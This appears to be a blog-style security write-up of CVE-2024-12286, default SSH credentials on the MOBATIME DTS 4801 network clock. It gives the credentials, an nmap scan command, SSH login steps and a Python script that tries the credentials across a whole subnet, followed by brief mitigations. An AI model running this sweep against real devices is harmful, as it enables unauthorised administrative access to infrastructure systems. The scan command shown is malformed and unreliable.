Recently, a new vulnerability was identified in the popular MOBATIME Network Master Clock, specifically in the DTS 4801 model. Tracked as CVE-2024-12286, this issue allows attackers to gain initial access to the device by leveraging default SSH credentials. In this deep dive, we'll break down how the vulnerability works, why it's dangerous, how to exploit it, and steps you should take to secure your devices.

What is the MOBATIME DTS 4801?

The MOBATIME DTS 4801 is a network master clock system commonly used in industries where time synchronization is critical, such as transportation (train stations, airports), utilities, and large enterprise environments. Its main role is to distribute reliable and precise time across networks, making it an essential part of infrastructure. This also means that if compromised, the device could be used as a launchpad for broader attacks.

Impact: Initial access with administrative privileges

- Vulnerability Type: Hardcoded/Default credentials

What’s the Issue?

By default, the DTS 4801 ships with a standard username/password for the SSH service. These credentials are not changed during installation by many organizations, leaving the device open to anyone who takes the time to scan for it.

According to security researchers, the default credentials for SSH are

Username: admin
Password: mobatime

These credentials are documented in some product manuals and can be easily found with minimal searching.

Finding the Device

An attacker typically scans for open SSH ports on possible IP ranges. Tools like nmap are ideal for this.

nmap -p 22 --open 192.168.1./24

This command scans the local subnet for any device with port 22 (SSH) open.

Exploitation Steps

Once the attacker finds a potential MOBATIME device, exploiting CVE-2024-12286 is deceptively simple.

Step 1: Connect via SSH

ssh admin@192.168.1.50

Step 2: Confirm Access

If successful, you’re now logged in with administrative privileges.

Welcome to MOBATIME DTS 4801

[admin@dts4801 ~]$

Proof-of-Concept (PoC) Script

Below is a sample Python script for automating the login test for DTS 4801 devices.

import paramiko

def ssh_login(host, user='admin', passwd='mobatime'):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=host, username=user, password=passwd, timeout=5)
        print(f"[+] Success: {host} is using default creds!")
    except Exception as e:
        print(f"[-] Failed: {host}")
    finally:
        client.close()

# Example usage
for last_octet in range(1, 255):
    ssh_login(f'192.168.1.{last_octet}')

Monitor authentication logs for unusual SSH logins.

- Use tools like Shodan to check for internet-exposed MOBATIME devices.

Update to the latest firmware if a patch is released.

- Segment network devices used for OT away from corporate/IT networks.

References

- CVE-2024-12286 at NVD
- MOBATIME DTS 4801 Product Page
- MOBATIME Security Advisory (if available)
- Shodan Search for MOBATIME Devices

Conclusion

CVE-2024-12286 is a textbook case of how default passwords can lead to major security risks. Any organization using the MOBATIME DTS 4801 or similar network clocks should immediately verify that all default credentials have been changed and SSH access is strictly controlled. While this exploit is simple, its impact on critical infrastructure could be severe if left unaddressed.


*Stay secure! If you use MOBATIME products, review your configurations now and prevent easy wins for attackers.*

Timeline

Published on: 12/10/2024 18:15:27 UTC